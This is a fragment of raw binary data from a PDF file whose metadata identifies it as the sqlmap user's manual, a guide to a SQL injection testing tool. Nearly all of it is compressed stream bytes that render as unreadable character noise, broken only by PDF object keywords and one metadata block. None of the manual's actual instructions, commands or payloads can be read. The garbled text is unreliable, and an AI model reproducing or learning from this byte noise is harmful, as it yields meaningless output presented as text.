G¤d"‹ôÓ8Z¢”åÚCUã{j^Öš8(c.ð¤qaf<aàgœ(w³kblRò̽^,|wh ¢ßOZž:93¨Ï//œ˜Ü?Jq /Óµ×RXCM¼L9}-©ÒÎ/ºÝ«ˆW|³¿*‰x´1ÍÇ‘R}”÷v2—0y±N »C«To´i¶íð%~µ@ýi¢Iýwòè•w” çbZ랑Ȧ ß]D¥®…;¥…Bs… Ï€5Ÿ›ë¨‘e«Ï[§roTâ“ûœFT¶5ð„ÃÄÖ <Ô:í5zÊË^E÷‘D|9ÊÕ&$Ú|†;ȦjÌEVbsz½)¹9ðåKáØCódܾ D¸üo°òøDºeÂ!a®ÑhǾ5ñÁ~±Ç……,AbcÝLÖòm‘BÓ¯5S“VÂ*uïóÿåÅ¥§»xì•ù˜€¾úP$ØÀÊiz?'1¬Nv£!YQó ñ[ ê vq@yýšD”‚Ñj:Ðeÿ<ôs OM—]ƒr­a'…êÆöo®'£î Ú»ø L˜ÿÑÑŠ–úm²ì"lÄ×O› ˆ¦¥@WÃðuP™é•úb·ÄåüºÛ­ã%·eRš¬²+_j#HbðdU=.ˆ;óïxšwÚÖ”§è¨ 0Äšø,?ÝFGc0ï­‚’–EQI¯ôºùçhþD/üuí¾ù›åå•3ÍáFçZêøG÷Ùo aN5™Z·ÐÔ9&`ä p$Û†ãs ©øÑ‘¥rØdÌ&yŠxmY þ&»*‡¬·ì"³vÐã“G ”‰òáA6ï|/?&ìwaåxœS´Ê^à0X¥°¯Óv1ÉÄxæ»p†Zâ¶%(NÅÎÚ¡;qøä¼*D#+YUíø[h"Ê©©Qœ²Wá%ôßã¶ýkªöÕB9(„rÊÃ[Ã,*0ÊSÞ1k? ð<-ðË9:0ö¦ª½B4XséöÇbh”á²V¾ìòd\cÑVÑ?CVÅR´„^ö˜C›FÓ}U}#( >âKZÌæ:¾®1^idÍ|ëÇÔM—ø¦ ÍØ$ƒŽÆ &ûñÞ©à‹òëŒz‘|þó™)Ùa÷afæ£9Þ£Û—܇b‰«ÿY¶âŸ ô¼ƒ›+Nþo—bZÇÖH½à´÷•ß¿DšéšIä QÕ ·4©H P¤$®Ø´xzºU5Ú\˜Ü“mE q÷‚,o£Qu ƒÒ…£C»¾ÉØyÛë”÷ɤ¢b«R“8¢S‚Ú¸^­æÄ u¥kšÒaôÜrVضÿuøL¾t¥Æ€ƒ««ÜQüz2}iA¿)í~)™&Û(ÐêÉá'šŽêÜSnÀr` ½V£<˜2‘Ì„w´-’^Nߊ§|2|=&'8Þ5Ñ'È|¨ÏÓ4¹ÔÕ’ÿ¡o=hŸ}[ă©£È€ñ¾n¡u&ûÕòlF©õ¥†6Ì)}†0²Fæ£v?Âújß9W§Eï¹ä-{È@ã°«Wê=h¶¿ìþS¹Íñs¨82ÿùÚÊß__OØu8²! äÈh¾Ø"\3‰jkôʾaDÑ îŠíŠé™o§ùõñVSLãxà!8}MA ’§‘Š Öå¤ÚHxÁÙÍ:¦õ¶nB÷ÜrBæÀÿ9>¾Ìy¾´“ÅR …ûfîÔƒ«Ä kÉ ‡Ýlc@þì¿åHx°^ƒíý´ö*À§FÒ¬ lmÎÂÍ$ý»b r‚k@wvÿ¯R’qJcͰRèM§DB8µñvïµèJ‹ßôŸVú‹{>§D žÀ‚~D¬”Ñÿ®Ö_}ß t^8R†~e§?{L±´mf™&7ºC’V«¸ï7“Ìy¦ä`4­‘µíà¸ê˜‘7oþ=–vIÉ–2Q¯ÕøK¸hô3g°à‹-ý4ßåIÞ™q‡Ôƒ³XÎäTÕ 0.Î+ù¹DjyÙîmêmªW˜-“¦Ÿk†mi ýÕ²`H&HJFšðv’J”BäéC­w{p¥{–Q@9FåjXK†shÓ„S:í â¹àºß{ìQh¿DV¼} fc¨Ú׆¬:ÇTªìcGâÕ„A‹ý³ùb¾³b"e(šbÖðà1 ˆÔ+1ßÅMAWò}ýYõQŸïX‚ü{W{zCV°Æs e0X€² `wþŠC=g°¹@ä9%x-†]3¨/¨œ™Éf>Š ìÆšÒ5ñ(ÒÄ ¶c„’SØrB}—’|—:\殘VË ×þ•‘6£18‘ô1Þ •Ìôn??Ôš&&Ž1æE¤¥~c/‚TÀøn¨þ# †ø«¥ñ‡"&c'bÒC“UAƒj/röj|3¶—5-³·i0îRނʇ"«{¾îE´†•ùX÷éöjêžâŸŽ*0Ôµq°I…¢z¼÷W,ë7´¨v 3yØÝZîðÄ3q úT¦‚ÌB±âŸ „ÕüEñù÷å:8ÛG¢(ì0ýoz”‹Ueõþé•8©{CþT‰ÁèP¼üu÷WTœ—~‰|NS7:ë(IxíæºGC‚â¡Ä,ØK«J£ÐZ™ö1d²¿36\©Ç ¥,&Cš'±=×cÆÝÅ×Ü}€¶©™‰³m%!=»™‰mDß‘ú„ Áæ|~Åè_õM"Å £i3~i6;ìe•lí¶{=tj›Š@ýíY¡\RØÑAøã X¢”àB—£|1ú goajë˶«–,Ó”¸mÂ&¸¥:â{Zë4½q—ÃúB•ñ›s[/ü2Þ3îq0Ú*æš§Moôe¡È½V_ø£óBÜRê9^ƒv–1ÅôE$zùö2úî¸ÕÒÓRb»ñ©‘Z)ny*ŽãB¯µw—˜×{̓w#}6°vÿ¨'è¢æCVâÃ9&¯’êЈRYt0…ެŗ<ëAg$B™Q6p+æxRšÚ˜ùXYá@4yœR< 8'Dú4¢FÌîE Vü pÕhÏa¼´É(zÚr$%ëÃK,c×di+ Ã»r ÷Hyä÷ü9³‘>°ƒñ·ÕÜ‹ ­Åæ²Wôe °jT~¥)¢Ñçô½dhUù ¿Ìñ ^¢ö]‚ÑÍ®ëÔáO}ã/‘A~1âá?ça=H&§ìöMù’¶S𕶉MÇ5>Òó6Š 9bæ‘JîØrDlW@$N{Žòñ8´ è8[íškii ¦ø¼rjðÀš ”Ù‰žì&Ú±—KÇ£# pl-zc¸ò[ò/F±o?ËXQYØo·bð8ÛûbG¾ÁÖ÷ßë¶SGåwzcÛÆÙšˆ5`U2oSpâà(öB¶¨‡ì6ê¿ßU§ Ø/üÞ‑ӸBh[ÖÓ0rööÉN¬ Ü¸+zº:(dJi,¬åA*Z¦»g<¡uü¢î±Ý46 ‡ø¾xÑ·XŽ$ôØîZ¿„˜¬NÖ}8<¨õY0c’Ђtg®˜œ'8ì1Gh¼Uë™t½O#±˜­Û0¾õ\Ôõ¾4i¹àÎ{Þ +[kú09ëÔ.Ò–Þ’ Œ”ŒŸC' ta…(ç¡;#$¯}N÷æ¾U[«â›Xý]m£§êD'HT“ Ì>¯v: ^­s”ê/‹{¶Tã·ù‡àèã%¯:EY«aDÎxRÆÂ&xq‹IíØäãî%-¤ŒutTšdدñ+Ï‹Uõåf»È~‘=â~`€Oñïë̪Èûs–©:š›•ÚJcíâ$ÚÕ-ZizU,–•Iíý‹î÷LájÅHÞÅÁ­£gD:MG€ÝòÁýüßWdÇi8H/%ÛÊ¡QTÍç@¸£M=7ûtöZl âRšˈۥ ^ ˜ùeš}yha_×\›—jPEl|À I~nw~€æZp¨–\ ³…ˆ‰Â°§Ýüw #èƒÇÏ£{£¨zGáÖ@Ÿç}ˆu«†€õÂ¥@Ø’ìÿùÜws®€³ë”@ÒƒήÆ'¬eö&,/O¼ Ûì5ƒUd]Úìæ2¬ëóšî.æU{d Øl€f NßA%í Y§ÐÒÂüƒsÌ(ÁÊÖë?©ª8ZjrľV8ÆcËÊ™YøÔ[›€C€ÂùÔë°Ž’:{`*¦ZC°Ï²ï?.u„`ufŽÐJ)ל%‚½HEÒO ýfÖ*Á:J£?ÔGÚÓ Þyæ•ê2Óh¯vÂpí]{ˆÌ!ø¤ˆdh%‡Wé+¨þTpsl.¶5‹}NÄÇW´,ózÍ/[ Û‹ü·ô¿š¶‚KzûÉÙ–\,ܲ¡´dÖbÂä-ãÒ´,¤ðb½cuÊË ûU¦{Ò÷i݉·_Q]®ö $y{ B¢Nñ7úLÔ­õ\hûÉPHûQ'¬ÁGo#â#‡ÏÀÄÑ i¶œÏ/f—å{1lMiÚ^ù -E0n£^‹³Í/E5,ò3‹êã*/’Ò$Þ[óÍ:oÄôNÔ«Z£©{gëºéœïÚ…[B÷Èåû4„3¶N;É?á/ËýÊ®Ñé6c ©5½4ï7ú¢è^û+"§œšG»lA°öo°RL|S¦º XÅ{`"ãS®wsÖi^u†ÔLòïÙL+°QQgBdޱEͬu¹Ÿv[E5”#êÒ«ý,¹–UY˜ñ|VÝXñÔsÁ+f¯áb ~aÜðI‚¬Ã­VÊÃ%–È>bKÔ<Ù÷CÔéYûôŽŒúe±) ²BŒß6Àñàœ*ªJ<²ñM©½ûGìeâ‰ëX™­tÊb¤c¡" e )þ$´â¨"éû”>ñ–ú¯»¾µRÌ2]”w4Í*–p®F¸™4/³L­ˆë¥úÝgÿFDJÅWLOT À‚ªE¨ÈÄl5³·6[‹yl[6nYÜõjî|>€gWeŠÆ%1×õcv§ÊTØÝûŸ»µ Ü0Œ´X¶$¸‹&¤µ¿˜ ÔL•9Ž;‘(N¯…ûX…q†´RZÔòož“B& ¡•Ä‹ûgé±dy¦íâR¬'á;F§edõI´–ÕlHlküWbŽAfÚ}Ë„ 9zCÕžC¡–Õ¼FW¬îÆëý¬žJA^°ãí}ݨÂéW‹_Wå-‘sµãs×<¶Û³´§h1x¨"ÔètN#gÿ¬ÿæ*ôËl«²º…ˆGÓWS~:Â[¹‰0•E”­2‰;è«iõ²ÿ]ÃæÁK°2tŠ«Ulª£w56`cÎ’4Sô¤®!.š-6õbùËíÚ_‘ÕÉñ<%‚ãÆ?6~¬/²>΀8Ñ–[J˜]¿F¢£b°¬Ût{!P¾kRœŒ¢K3‰ägᢧÅ}í›÷‰'‡ŠÕ[çû[è¥ÿÓ}¾9F¬ýƒÏ5RªÉÇ>›³2hÒbH‘OM\Õ~Âåù#Q¾¡ü“áö-ƒ·@DâTA$Hº©O¶uµç v$N‡äé!¢V¥xîq…Ô•wæyŒ‘¤pxq÷ù$Çe}L—³µäUák!ݹÜÞ¸üöÐ=§¿Ž»Ü[t°ø‚˜ ª~¤¾#þ ÁX#«G$5m¯“Ò´­0˜vÆ&Úd Ñ&=ŒŒG-’2ùT~›ð)ÿR&?"_nH·5Ñë3Û‘ÆÇ‘u-\ÇÐŽç.˜G4ûæü·eFØ•Ÿ±agó—ÆÏ¨u»„Ïä­1މ~žÑÊ´Z”á<¦í%3ÁÙ_Þ†¦·œL¡Õ¥EZh °Âáu!«gä{,ß÷3ýTµÌ˜â"Ø)}O÷¹2Ú›Ëc³gKh¬à|[¿¾r³ô¶†’+MO„…ƉHàÄp²¨¤Ô!‡a¢ñCÄÀÓ;Ù/Ý„øMîuh%:¦æfÆÊ~±8ïDÊüÇŠ“ hðï[µm˜7ŽaèÙ?ê£J»«è¤Îåÿ­‘”Dý~¶5û3ŠƒX"Ð)´ð~X€÷¼M;=I$xëéšBRU‹•)ÌŒ}#ž|ïÆt·æöHzH™=8:?ÕËß>Iÿ|oÒNÎIF `â¨)¦÷ߥÞé2„OëÃMœ‘»Êar¯;³êÇ “-˜±î-NpL0Íu>ÈÌœþ8ñ¤¸…á?†J`˜ÖŸ†\MDðƒ;T²^Œ@€åÝ1¯~Aˆ4Ý ¥ ã¥÷Ⱦ*N²dÒöG„C·ù<ÛŸžL¥Þ-ó‡H¿³½ôKl(¾ëéª"·D›= ¬œžÛ³\cî¯Ê\¼+ [L"š~ddXƒGš9<ónš¶—´¸hǼ5>Ñ® ÛÙˉ×ög2b„Ò)&ú.l¬L°€!Y/Ò)½TêýC¬`Ñc¯ánóó ®—¯ÆENÓÚe7xWž—÷ Óª”…47ˆ§èõm§š#·­÷!ÿ.±ˆl¶s{›/‡ÛO+^g7£Á”ë]Ý4²Ô›¶~ø¼)è¬LéÝF+ŠžÍ_zJ VU£`à‘l>É€F,«ŸêÐ z´j¡ŽwÝòú[{[œQNÂöp º)Ôt_}v)VòcënDËd]C¨ .C`´›ûLìö’yÉ_4[#Yr´þÏ©ôÄP@#‹ÎPÐĹ#¬¿%Òùƒ½ß“úäL]ÿ Þ;NUÀl̨ 3Ó°Æ{-$ÄT  †‹î¸RÛþߤV¿™¥aÅ¿ÿ ¶È-À¼”T­> ª(·ÎåNôXQcY=´ï’koÒöÁ!`³¥½dMÈn6FóÇ+IÆÃid<aòÑiêJNeª5@F‘)¦üÑê÷~¥ü»ó#Úå-·A6£<¼L¾l¢£°š¬ŒäC©£Ô#ý~*GjÐNÿZîzŽîl0Q6™Ø@‡u`ãô+1–êt4û‡EH4¥=D£6«Ëm®n{†ªƒâ¤:¼È[\U…\ãìÕ3Ìž/ü%í&W„´î§¬©|ô¤G2ÆÕâÃÚî^×2–voµ3‚/Ÿ«¹4~•sà»N_±,}6¬¸éõ`—*t; Œ;‰Î%á“UT/.ŸV‰°q¤&X ¤m:±5 z\~.o&+ç¿\~UÞÞw•FöLUü}ú<¤øòE±´Ù³‹Ê“ ¼ÒAÀˆÐ£Ü=,ÀfLjßï§-òDFs`@´0ª;+«oº·o·vâ™ÅfQ_¦eà»ê§ÑF†Éóã$ã¼gèa®Ã2‘rjk΀0h²5V³ô¨îÊ]!Þor~ig0çtÉµÂæ;Ò{ývwäUTå£'YUk˜:§Ü”„lËᑲz*Ô½ ,×£å‹Ü“eèdð¡ù¼ï-~&ÄÏ È‰Kâs" ]Ø'K N^NqÃgæto7àœÊ2ù+f²‡"!à,q½ð†5…%ç­YE5^ó.KdßÉù "ÄOŽÕ^—Åj…”Åð!$+¹H²z±Yìl2óŒ‚Á+sŒê€9’Q ÁSBFAÎm²/ßÖêƒuœÝEZ Š'-:ý¯K½'£Î ûI¾Ê¢nÏ&LüǶï¨'&ÍíÎ8œ±¤ Å6:s–̺-÷ÂUv–ûÂm°@ŒT”rt3}E‘Þ=øhút©ž·|>nòãÆ|j„›Šø6Æ"¯WP×øZñ®U×f(<|å°¶Ô‰5ÔêEZEÜÚïß .ú;ƒwUÂLV8—Õ+¤€³ÍœÕŸ íí…b‡./jÙimGMØote¯ÃÐ-/¶‰ríµÒÄEW-„G_îÇ•w˜…H`Z”bJo'§(zÀý9«Œ2ïӥſN’3xêp,£Ï±¾Ú‚çZÊÝÌ·½½jp!¨-öôÊ›b(ÖÀÍÈý<œM\ͲSísö/ßÔPЩG™‚À1›¡?Æ\>?ÍhHžë9SÇ=‡÷¬`Äâ Â[»ð;Tì]ÑDV)™:ÎNZ#æN™¸t÷ï}%…‰Qx£+ím¬ýiz¡îa ¶1Þ"dß08gÙŸx‹ ðÏGA(t½ƒrä±CROXsðhÆéX†izHáõ #šjVbnÀ7¶óæÙ*¡GB ´¤^=ˆjæå?m?z½Îät­ùÐë¬ßk5³ÔôAY%© ²MÈ]„nÙa‘¯À.)ÁtbøÉµ´¢÷/xEûü&Eý‚ñúŸÖ°úLÈÙÕóS g,a'Ê¿ž‹Õ•eNðÁû½Ö¸é4¦êe§ô2”Rý²¹Õ•8@¾óV wXdze0P9ÙבÙWb.¥mâŒéWn1ÔFŽsB% KIVÅ5¡ùê²·Ú*›‹Sà6 ñÛæ”¹ËH±¨œ¾©WFL·º²^o…å÷sfÉ]À(‘cûšÎY-4!$vb?¹|¸;7¶nˆìïy%6ÞK¬cÄ»ü*sp+CÅÙ ©Ý¼à /sh3vÀ> R>¬+ÑJ»Oë˜eHÝŒUÏ©®¦äŒÛµ (¹Šx¦OîçDäùÌì>%o]Úa_ó´—š{ZXW ˺Ÿ[»ŽP yeŠŽ\NõÐÆÛxzûù±–È%£?Ø;Lƒµ¼ðµ|‡%®Mù(1¦7Ž;Ñ>1•δ¾òþ$Rg¹½ˆå¼®qÜ&Ì‰× ¼õOsì *¡½´(?œ™ ±n(+7!j[$÷7õ•~EøÛSæ §WB|+º ‚t¥ ¹r-dìHGÖX…ûÑ4u,ï:$1ׄxLH‚SJoïrê­ÇùC…néÍ,Ó>ðŸÿn©ù)Y.Uˆ!¥w”¡=ý噆ý¬Å•91l’£ìós°Œ™¥P{OPð|õ7±¯ƒ #ÆâÒMv‰|LêR §„í~'Ž:£ùr à·×pµ¤w ãTµ9ÚYW}z6é’=ß056®¬íïÂ;CŒÀýE)1)rùÖbGüÐÙY™œÙ$-Wé¶ß´=Abþ‘Ãx7ôâßȇݪ™DÃSkô ¼äB2£—u£_R€ ýhí>ìz2+¼ä;þÔF¾~Û­;ÆÉy_Àº¼õ ZÆj[Æc+9¨ªKbï?ûË×à™gçûø|^XÚ›]KWÝË·äiӜהT¦)F«`:dR>T71‚æ(ŽQi¸ªµ¸Dð†‹Y˜ek#ºPKEM"UÝ•ägÓK§&$•)LY„½š;xfDéŽ%PÖøiŒO~‰ÿ_×(þF•A£ûÓ#F`ÐÉÜVD[1…/aC½ÈCÌÎR·Ežo ]¡ 1fOéŠ@:áœùÓ«]mX„懲¦örÉ•ð Ìò7pk}´éÛ`™±ymù®“ÔÕ¦Õ9Á) QÉ‚#;¿ˆ•†³¸ÚãÜî<%9iRË øÖ6üôÝ×–HÞ#¤õ†(ãú‡b Rqs`D'üLAd*ÜÜàõîÞTm‡£‹"Úb<ŸûzùƒâÀÉIû˜+„Ø+~ä>k7âÖÑîœâö°ÕíùPþ ¢Ô3µÀ#ï4‹ü¬<±%êªÕ¸À$òu”v;o´ —§³g4±M½Õå&”Bv½îEqJƒ_mÿÉw”Öý4Äj×ÊÇ÷™PáézE¾è.A@p‹3;"}˜ý}¨OŠüå ]ŽÅQЏ¦/±ŸÁ‰‹¾$v'åÑxß÷i»Æ%ÞJˆÊÕJ[JdÖou›ï¹=™8ëñ”ar¦:˜4!lsYÇüdcßW%ÍÂëá,Õ*­e-ð5*ÖáMÕÎØê ¢qx[1iãÉ®džvܳ“!›¨ʯ¯‰1ªï-j ¶$9-½ ¢]çJ7lì¢8!×¼«=× À–Ë”‘,è7ï• endstream endobj 1403 0 obj << /Type /ObjStm /N 100 /First 916 /Length 2740 /Filter /FlateDecode >> stream xÚ­ZÛrÜ6|Ÿ¯àãnm¹p;ˆªTª$ߢĶÉÙ)?P%Íz4#ÏűóõÛ b@a赬‡h0$ЧOŸ49± . ^eÊÂp‡Å7ÁEaœ.—þ2' L!ÈpÜ…0BãŠ.„µþÂ)…-$wrb¥.¤Ô¼(]YHâea¥)¤6º(#­Äd' YbEYòBº²,œ…â> ˜˜ ¸v…’Î_ÃBEÜL„¼PZ(Ï׌ô\ÁCYi1ÂdU*P’ÅèJc âHGH§ Ì•”IƒŠpWÄÀœ‚ˆÜ#ÌÓšü5Sñóˆcž%åGeA%¾Уi@’“L‹Bs¬6@Õ¼”¨B ‚NÊZJ>1Jcà ®`2hÌ5y½¡ŒÖ“&½!µ6“&[ɬK åÓœ5dÆ|¢Vrmüe,P¸Ù PéW`€Ri‹• •Ô¾v4Ên|Pm0Ù¯ÐÈ×ø¤µÆd«Ê‰×”sPVt–C|ã°B“,,Ç­Ph! ò[.Zq”ðõ· + @a› ˜gÉ ÖsÑ“ à5$·¾c4´%þ`Õ¨E¦ »|PÈ_”>(!ÁÒ%$X¢Ù&(VQ*+p“ í€Bbà{¹• –% $X‚"˜ŒIèL.ŠŽ0Ž ÌA‚Ž[šæ9ì\á…“¨9ZÉ70B 7§ÐÅNŽŒï7LÖèCB±jÍÎØYuþi5«V×-ÙÙ²:¯gõåº-}üfø©^÷—1noœ³óÅl1Çß››Š]°‹Å ±š5¼YýySÍXýõ|VݰKv9ýR³ËÅfÉ®ØÕ²®À‚]³ëo·×õœMÙÙ'6c³zµb7lÎæÓyÍæ››3°ž^ÍÙ‚-pá–ÝVËzÞPiF-¤æõŸÓÅ»mVì3û¼©Wë)ø}Þ,ÖõÅÙ¬´K–lÅVõÍ´Í`U‰Õô+kµX³õõ²®ÙúïÛ°Íü,ÎËš}a³¯ìû‡ýS/ÿn»àÙ¥¾Ïxq<ùõ×­{:?_\LçW(úôò²ãózUü%LOªÉ%|i¸áìf—^/v9׳B© dŸÍ–:òA‡Xì­Œ³ÊõÍÐhÖ²+I'f+ˆÏ¶©€W¤Õ¦)eSÔF·FÁ¶ðMí‚°A⦲mK„ê÷B'Þ§«“ÆŒ}¼Õ¢8¶ª‡c;á }{&½D^÷ç{nþúÜtÆU¥ÞÚa4èÿ¿Zkv¶A™‡Ó}ç`»oÎÖÍWû|¿ZÕþNÁ>¼?8=>Å t¼¸©æ8‚ö³‹ÉàÈ‚³–²i;ölº\­ý1þ™°U÷Eø3æÝôb}½òº¸¶&wÚö{ÜŽÞ<>zÒs“;¹ÑnånnæA¸½{¼wôÛAàævR3CjFoSf›Zù Ô>¼þpzúb«¤ÑUîÐ+‡ô<¡]ÊуÐ{y°·ÿäp«ª»éáÉ`@(¡'¶é¹¡·÷âÝÁÉï==;FïΞP.)®Ý¢Wò¡wztzüæiì»vßÛ‰xöAØ=~÷êùÉáVëµ9vf\»”zv¯Þ¿Ý?<èž¶^¬wvÄïö]ºkÝ9ó0}·ûQð»»m§éô¶tòAØí?y}øÆÛÄËj}}òíæl1[ž,îîÉ’H˜pw8Z~—ãQuU¯ðŒºØ€Ž©#ÿ€±nßõšõL/à„þe_ñ¶Ò}jÓ~¶ïíu¼+øÏ÷ R¶oªû,ÛO×XÞ-Ú NÈûño¡ ˆíg[L¼^´Áñ ºT÷ƒ—tÞÁ(® ƒ³%sßP]17Ø`’±E{¤ß7T"´ç´tÁça@Ý@𠥓P°ñ¦ë9 Â%Â@‡û™P¡ þ7v CL®mŶø T(ˆ°!™2èVÝÊÓÉŸ *#¹ƒN.)x„9?Øìi()»Ö–¡ 2H*)ÜÒá–þ™ZIÓ©$M¶!Tw~Y†„KýC¡L*ô¸t]A—aÐ…Rá´PâgB)Ñ%£$…Aˆ©BLÕÕJÑw÷• E!B¨Œ2ßm3•p·‰5t*•]»°9ýÏ”Ýé¾öÉýžš_6»möŽ [Æõ šáûÛÔûå®X²óœæ‡ÐN®ï–¶_Oᤰçº: ÖnÖ3¼s¯:S/ºãÖ{zóóió­EwýÊ)^œ cºª=LìÈÇlº'…£eý¥ùõuÛøÛåÚÄåj|y÷(ñªþI ÀdFn L ›€å˜QÁt¦ÃëRK¬=c†«)®c«•ÛfÒVwˆ%VvK'X9^*ê­Ô(V"·ÊÉ­¢ÜÒaÉDm•S[Fµå¨ÚR%X"‡µ—£Ú‹D{™Ó^FíŨö"Ñ^æ´Q{1ª½H´9íEÔžjÏíEN{µZ;°d‚•Óž«ˆÅG°tx‹h±xF{í\ÀÒár%X2‡¥#–Åâ[XåKôXáW–ËKGåµÅJê`ruбZŽb%]¯s]¯£Ú4ª6%]¯s]OQ{ÕžíuN{ŠÚÓ¨ö*ÑžrÚ«¨½Õ^%ÚSN{µW£Ú«D{•Ó^Eíå¨ö2Ñ^å´—Q{9ª½L´W9íeÔ^Žj/íeN{µ£Ú‹D{™Ó^DíŨö"Ñ^ä´Q{>ª=O´9íyÔžjŸ8m`9ÀŠÚóÚ·«yFmŠÞJoœÐ©WXJÎë@³9¯ÃѸ뼦èÁ4ðà>Jç <Ǹ¯ \w°:q]ʹ.E×¥ë±d‚•ã]—®›jG9Ÿ¥è³dGë`Ò¬ßìi6u)‡:Ð0d,ÃÀœû ]éséFÓ¥¡é¦mNøhº40ÝAº‰¹õBvé†FkÓµiºr2ÖgèÍš’™ÝOÑièÆ)ÅœÿRô_Ò£ÏA‰göBvéêí§¢hWºÑ¦ihÓ9Ë£hÅD£I,¯O>PL*¢Á0d¬ÈбUR‘œRôhztJ1çÊ]™ÔXE”V VZ•T„Æ+Í›æÝiÓÍÙ"E»¦]W'GUή)Ú5 ìz€•ØužW´kØõ+)Jή)Ú5 ìzˆµm×”³kŠvM|TíÄ®)g×횸Å VN{Þ¿°+çF°ü?2ÛÂÊ™wÿà<–ÅJš8þû¢ÿ.b“Ê endstream endobj 1409 0 obj << /Type /ObjStm /N 100 /First 860 /Length 1839 /Filter /FlateDecode >> stream xÚ}šQ‹Ý6…ßï¯ÐcòV3I„@héS ¥í[ÉÃR–²Ð4%Ù–þü][˜,Ø–¥£™o$û&©¥CÚZ¨‡(3Ž˜·j ) Ž mèVZŒ~%‡œÐ¯P(ýr e“[Ê)TÁ}ia+¸/94Â8¡@‘sH©âdƒjJ¨@–[ N '˜;ú0:§F!:K©·D©‡…>‹  ˆÎ5b¦ˆÎuãÀ 7Üb$D-·Àȉ#ÄYqÄ}îiraäÅ,íÆý¢ÏÌÈŒbŒÔXú}äÆ qî˜ûEA` ­ˆfäÇÛ}(Z[¿JÓ‘`ºOÚã¦OÏŸ+"DL)1÷X€†¡ŠÁ®Ç‹Î¥‡SéaDૹçÔëÃíF `[°|CNÈ;HÌ@ B-Š)]Œ*㤗µlAz½À/ˆô:tÎw´èœ7(£ôR€k/€Êv¯:omB熔 õÏ1¡ dú‰àÑǹÔ^a¬á: Ý‹“ÞË*çÞ æ"_®GtݲË2Ã_n9äV"—¾N ÀÞYéYõ¿¾€WIÔ;á*Ȫ2Â_É€ŒœJn=ù€‘)úÕÒ1C"m7äƒâöå‚㽦¡FtB2•¨ƒÃ±'ΡrÝÂjJÃ+SWÙR?#™ÚííÛÛ·¿>=ÿùˆ2 vÙÏ·o߇¾²ï§?=|yüë¹×ý¸þòøï}#Þ¯><þ‡{X?ýêÝ;£O­­.µ²ÑJŽÖVT+-µèªuD9iñ©UÛJ«V£•-ð=µòR+-ò´”}]²/†}õØWe_–ì‹a_=öEÙ—%ûbØ}QöyÉ>öÅcŸ•}~ý1Ú£•v¶´ûãî‰\ I:†ýðôå볆ùãÃ×~ó þÝç ó†Ú<§VE¦ªˆ—¡(yI«Éä;²?b”v‰ñ¼1ÎSjÒT 2JÞ²KZ’”—£MÀâ(i­´Øl?.Ïu©e¶Cò¶kQ8-µÌv`o;°Ò¦%m2Û½ÅBÊž^`Œöh“Ò¦Õvàf"›ãXjTÍR#³Ôê<¥%Ú¢œ“ìÉG/ݨeˆi9Ú”!zeˆg¸5_ëíDÂmÓÑy…Î>•ÈîÒæŽ.Ú]šæ)E§œªe£ì «1ódÌóèën`ϘY™'cžµ®eðãRcæÉ˜'-cÌì3«1ód̳V2Zäi)íº¤mŒ™=cf5f.KöƘÙ3fVcæ²doŒ™=cf5fÎKöƘÙ3fVcæüûc´G[™—ÆÌæ¹nÔ};±1æ±tOÓ‹óœZ•ɘÏYö9=›fµižmzmê ^ÔyòßI+™:¸q©ó䯳–©ŠçƬnÌ“Ouðü—Õyòß¹¦†}‘9ÃÜk:½ÈäiJµiæ¹(^‚jÅöÅcŸ•}^²Ã>{ìEÙË’½yJŽ('-e/KöbØ‹Ç^”}Z²O†½x쓲O/°?F{´“ÒN–ö@rd<ûvß8ÃÚ­Šì;OïDÄZ¶U²{²ì¥ÇŠy5ØPg:+uÚRd »Q‘B'YI™ °WÒ P\HE³ÜÉ[îQAÇèhV;y«=*ö¸Ân vÄ8IØ›OýëpV?ìÔ.Ny,úc©ŽïKu¬‹±T·iº³m±Œßzv«n;™­•¹ÁsZ5ÚÉg­ÌµžÉªÇNkdŒÁzþªöZ¥0ÞêY«:k] 6¶ê¹ªšjY 6ŽêªúiY 6fêy©Zi^ 6>êÙ¨ºh^ 6ê9¨h^ 6îé™§z§øˆ÷‘UuÊÙ(§OórNæ³{„·oÛ±§_ø2Q;ÝÔNhÜÔ3SõÒÙJ­qÏWÕV'W¥b~Êò~SÓŸb#Åüëýø¡­ S/µÌÍ•9>ô½wh}]Z.óï+æëôúäžV€Ì¯1êVv­^Ÿ”Ž¿œÛßu˜¶³ÃÎÙ^Èìx½½fcÖ³M†‡ú‡‡O_Ão¯¾ÿüû›_ž¾<¿îÿPÛû†W?üñø õ¾6Ä×°›zmAŸ¶Ç1Z-{FKB˾0?"¤§OOÏÓ´g¿slû @6‘e´T3IAËn…£¥¾îofØözÿ—¦Ö›öz_£;'>»Ýcû€ô²» endstream endobj 1467 0 obj << /Author(\376\377\000s\000q\000l\000m\000a\000p\000\040\000d\000e\000v\000e\000l\000o\000p\000e\000r\000s)/Title(\376\377\000s\000q\000l\000m\000a\000p\000\040\000u\000s\000e\000r\000'\000s\000\040\000m\000a\000n\000u\000a\000l)/Subject()/Creator(LaTeX with hyperref package)/Producer(pdfTeX-1.40.14)/Keywords() /CreationDate (D:20160227152730+01'00') /ModDate (D:20160227152730+01'00') /Trapped /False /PTEX.Fullbanner (This is pdfTeX, Version 3.1415926-2.5-1.40.14 (TeX Live 2013/Debian) kpathsea version 6.1.1) >> endobj 1413 0 obj << /Type /ObjStm /N 54 /First 531 /Length 2127 /Filter /FlateDecode >> stream xÚ­ZM$5½÷¯ðq i§mLJm !!¸í®öã„84ÐB-Á̈iûï7"²\ã¬td&#.-+Âv¼÷v†]0åC„!kƒˆM°$m”À¹j£†R‹6Zh(0ËÐA[Ò3³Î”mp{–8¨è¤Y: mÉŸÚtÚÌ!G ™KÈYæ”V £ÍÜBæ¤óA ¹&)@´é!ÈÀ ¢Î  DYAcë'rVÈP¢‡*¼ =´€­éXŒ2éL(i?ÌJ©!p4ô2Œ!** ÉÄ 9pMÊK(‘m¬(‹­…B¬c)ŠzƃR¨±˜-‡ Yy„J‹ C-¦Q¨uiq¨-*>*¡Åh³ÔÐ’­ ÉrdÒ~² ŠÚZ#C*B4!"1Bãª:3†V,š@k•”³´ <|þùÃã·O¿>ßýåýÓÏÏoò%YÀþ®†x ²êe4%5‰xƒ)›‰F˜©&T“°Ó÷ùõåuŒ|ëõýÃ_L°‘ ¯ãŒ¬&^Å-fZÅ­j*0šš™FZ‚·,“o±ÑåÖiŽ L¦:j&S±ÉÔF}Ádj#)P™RÌ£‰ÌÄStûÖͧ:¥´š²˜iXuJ«å‡f¦±— +GƒrO0_V|ë6‡ÉÆk*TZ¥‚™F9Ñ„’½6˜L() 